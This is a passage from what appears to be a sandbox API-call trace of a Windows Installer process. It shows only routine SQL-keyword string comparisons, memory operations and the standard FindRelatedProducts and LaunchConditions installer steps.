(lpString1="OBJECT", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0124.059] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.059] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.060] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.060] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.060] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.060] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.060] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.060] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.060] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.060] lstrlenW (lpString="Sequence") returned 8 [0124.060] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0124.060] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0124.061] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0124.062] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0124.062] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0124.063] lstrlenW (lpString=">") returned 1 [0124.063] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0124.063] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0124.064] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0124.065] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0124.065] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0124.065] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0124.065] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0124.065] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0124.065] lstrlenW (lpString="0") returned 1 [0124.065] SetLastError (dwErrCode=0x0) [0124.065] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.065] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.065] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.065] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.065] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.065] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.065] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.065] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.065] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.065] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.065] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.066] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.066] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.066] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.066] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.066] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.066] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.066] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.066] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.066] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.066] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.066] lstrcmpiW (lpString1="BY", lpString2="BY") returned 0 [0124.066] lstrlenW (lpString="Sequence") returned 8 [0124.066] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.066] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0124.066] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0124.066] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0124.066] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0124.066] lstrlenW (lpString="Action") returned 6 [0124.066] lstrlenW (lpString="NULL") returned 4 [0124.066] lstrlenW (lpString="Condition") returned 9 [0124.067] GlobalLock (hMem=0xf400e8) returned 0x36f790 [0124.067] GlobalUnlock (hMem=0xf400e8) returned 0 [0124.067] GlobalReAlloc (hMem=0xf400e8, dwBytes=0x140, uFlags=0x2) returned 0xf400e8 [0124.067] GlobalLock (hMem=0xf400e8) returned 0x3625a0 [0124.067] memcpy (in: _Dst=0x362680, _Src=0x362670, _Size=0x30 | out: _Dst=0x362680) returned 0x362680 [0124.067] GlobalUnlock (hMem=0xf400e8) returned 0 [0124.067] GlobalReAlloc (hMem=0xf400e8, dwBytes=0x190, uFlags=0x2) returned 0xf400e8 [0124.067] GlobalLock (hMem=0xf400e8) returned 0x210ca50 [0124.067] memcpy (in: _Dst=0x210cae0, _Src=0x210cad0, _Size=0xc0 | out: _Dst=0x210cae0) returned 0x210cae0 [0124.067] GlobalUnlock (hMem=0xf400e8) returned 0 [0124.067] GlobalReAlloc (hMem=0xf400e8, dwBytes=0x1f0, uFlags=0x2) returned 0xf400e8 [0124.067] GlobalLock (hMem=0xf400e8) returned 0x210ca50 [0124.067] memcpy (in: _Dst=0x210ca80, _Src=0x210ca70, _Size=0x170 | out: _Dst=0x210ca80) returned 0x210ca80 [0124.067] GlobalUnlock (hMem=0xf400e8) returned 0 [0124.067] GlobalReAlloc (hMem=0xf400e8, dwBytes=0x260, uFlags=0x2) returned 0xf400e8 [0124.067] GlobalLock (hMem=0xf400e8) returned 0x210ca50 [0124.067] memcpy (in: _Dst=0x210cc10, _Src=0x210cc00, _Size=0x40 | out: _Dst=0x210cc10) returned 0x210cc10 [0124.068] lstrlenW (lpString="ActionText") returned 10 [0124.068] lstrcmpW (lpString1="Advertise", lpString2="FindRelatedProducts") returned -1 [0124.068] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="FindRelatedProducts") returned -1 [0124.068] lstrcmpW (lpString1="AppSearch", lpString2="FindRelatedProducts") returned -1 [0124.068] lstrcmpW (lpString1="BindImage", lpString2="FindRelatedProducts") returned -1 [0124.068] lstrcmpW (lpString1="CCPSearch", lpString2="FindRelatedProducts") returned -1 [0124.068] lstrcmpW (lpString1="CostFinalize", lpString2="FindRelatedProducts") returned -1 [0124.068] lstrcmpW (lpString1="CostInitialize", lpString2="FindRelatedProducts") returned -1 [0124.068] lstrcmpW (lpString1="CreateFolders", lpString2="FindRelatedProducts") returned -1 [0124.068] lstrcmpW (lpString1="CreateShortcuts", lpString2="FindRelatedProducts") returned -1 [0124.069] lstrcmpW (lpString1="DeleteServices", lpString2="FindRelatedProducts") returned -1 [0124.069] lstrcmpW (lpString1="DuplicateFiles", lpString2="FindRelatedProducts") returned -1 [0124.069] lstrcmpW (lpString1="FileCost", lpString2="FindRelatedProducts") returned -1 [0124.069] lstrcmpW (lpString1="FindRelatedProducts", lpString2="FindRelatedProducts") returned 0 [0124.069] lstrlenW (lpString="ProductLanguage") returned 15 [0124.069] SetLastError (dwErrCode=0x0) [0124.069] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0124.070] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x753d, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Searching for related applications\x09Found application: [1]\r\n") returned 0x3b [0124.148] lstrlenW (lpString="Found application: [1]") returned 22 [0124.149] lstrlenW (lpString="Searching for related applications") returned 34 [0124.149] FreeLibrary (hLibModule=0xc10002) returned 1 [0124.150] lstrlenW (lpString="FindRelatedProducts") returned 19 [0124.150] lstrlenW (lpString="{{") returned 2 [0124.150] lstrlenW (lpString=": }}") returned 4 [0124.150] SetLastError (dwErrCode=0xd) [0124.150] lstrlenW (lpString="Time") returned 4 [0124.150] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x2d1)) [0124.150] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.150] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x2d1)) [0124.150] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.150] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x2d1)) [0124.150] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.150] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.150] memcpy (in: _Dst=0x36d9ce, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9ce) returned 0x36d9ce [0124.150] memcpy (in: _Dst=0x36d9de, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x36d9de) returned 0x36d9de [0124.150] memcpy (in: _Dst=0x36d9e2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x36d9e2) returned 0x36d9e2 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.150] memcpy (in: _Dst=0x36d9e2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9e2) returned 0x36d9e2 [0124.150] memcpy (in: _Dst=0x36d9e8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x36d9e8) returned 0x36d9e8 [0124.150] memcpy (in: _Dst=0x36d9ec, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x36d9ec) returned 0x36d9ec [0124.150] SetLastError (dwErrCode=0x0) [0124.150] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.151] memcpy (in: _Dst=0x36d9ec, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ec) returned 0x36d9ec [0124.151] GetCurrentThreadId () returned 0xf50 [0124.151] GetCurrentThreadId () returned 0xf50 [0124.151] SetEvent (hEvent=0x170) returned 1 [0124.153] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.202] lstrlenW (lpString="FindRelatedProducts") returned 19 [0124.202] SetLastError (dwErrCode=0xd) [0124.202] SetLastError (dwErrCode=0xd) [0124.202] lstrlenW (lpString="Time") returned 4 [0124.202] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x30f)) [0124.202] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.202] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x30f)) [0124.202] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.202] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x30f)) [0124.202] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.202] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.202] memcpy (in: _Dst=0x36d9da, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9da) returned 0x36d9da [0124.202] memcpy (in: _Dst=0x36d9ea, _Src=0x376446, _Size=0x4 | out: _Dst=0x36d9ea) returned 0x36d9ea [0124.202] memcpy (in: _Dst=0x36d9ee, _Src=0x37644c, _Size=0x2 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.202] SetLastError (dwErrCode=0x0) [0124.202] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.202] memcpy (in: _Dst=0x36d9ee, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.202] memcpy (in: _Dst=0x36d9f4, _Src=0x376450, _Size=0x2 | out: _Dst=0x36d9f4) returned 0x36d9f4 [0124.203] GetCurrentThreadId () returned 0xf50 [0124.203] GetCurrentThreadId () returned 0xf50 [0124.203] SetEvent (hEvent=0x170) returned 1 [0124.203] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.206] lstrlenW (lpString="FindRelatedProducts") returned 19 [0124.206] SetLastError (dwErrCode=0xd) [0124.206] SetLastError (dwErrCode=0xd) [0124.206] lstrlenW (lpString="Time") returned 4 [0124.206] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x30f)) [0124.206] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.207] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x30f)) [0124.207] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.207] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x30f)) [0124.207] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.207] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.207] memcpy (in: _Dst=0x36d9da, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9da) returned 0x36d9da [0124.207] memcpy (in: _Dst=0x36d9ea, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x36d9ea) returned 0x36d9ea [0124.207] memcpy (in: _Dst=0x36d9ee, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.207] SetLastError (dwErrCode=0x0) [0124.207] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.207] memcpy (in: _Dst=0x36d9ee, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.207] memcpy (in: _Dst=0x36d9f4, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x36d9f4) returned 0x36d9f4 [0124.207] memcpy (in: _Dst=0x36da12, _Src=0x34b110, _Size=0x2 | out: _Dst=0x36da12) returned 0x36da12 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.207] memcpy (in: _Dst=0x36da12, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36da12) returned 0x36da12 [0124.207] memcpy (in: _Dst=0x36da18, _Src=0x34b114, _Size=0x2 | out: _Dst=0x36da18) returned 0x36da18 [0124.207] GetCurrentThreadId () returned 0xf50 [0124.207] GetCurrentThreadId () returned 0xf50 [0124.207] SetEvent (hEvent=0x170) returned 1 [0124.207] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.210] lstrlenW (lpString="ActionText") returned 10 [0124.210] lstrcmpW (lpString1="Advertise", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="AppSearch", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="BindImage", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="CCPSearch", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="CostFinalize", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="CostInitialize", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="CreateFolders", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="CreateShortcuts", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="DeleteServices", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="DuplicateFiles", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="FileCost", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="FindRelatedProducts", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="GenerateScript", lpString2="LaunchConditions") returned -1 [0124.210] lstrcmpW (lpString1="InstallAdminPackage", lpString2="LaunchConditions") returned -1 [0124.211] lstrcmpW (lpString1="InstallFiles", lpString2="LaunchConditions") returned -1 [0124.211] lstrcmpW (lpString1="InstallODBC", lpString2="LaunchConditions") returned -1 [0124.211] lstrcmpW (lpString1="InstallServices", lpString2="LaunchConditions") returned -1 [0124.211] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="LaunchConditions") returned -1 [0124.211] lstrcmpW (lpString1="InstallValidate", lpString2="LaunchConditions") returned -1 [0124.211] lstrcmpW (lpString1="LaunchConditions", lpString2="LaunchConditions") returned 0 [0124.211] lstrlenW (lpString="ProductLanguage") returned 15 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0124.212] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x7545, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Evaluating launch conditions\r\n") returned 0x1e [0124.218] lstrlenW (lpString="Evaluating launch conditions") returned 28 [0124.218] FreeLibrary (hLibModule=0xc10002) returned 1 [0124.219] lstrlenW (lpString="LaunchConditions") returned 16 [0124.219] lstrlenW (lpString="{{") returned 2 [0124.219] lstrlenW (lpString=": }}") returned 4 [0124.219] SetLastError (dwErrCode=0xd) [0124.219] lstrlenW (lpString="Time") returned 4 [0124.219] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.219] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.219] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.219] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.219] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, 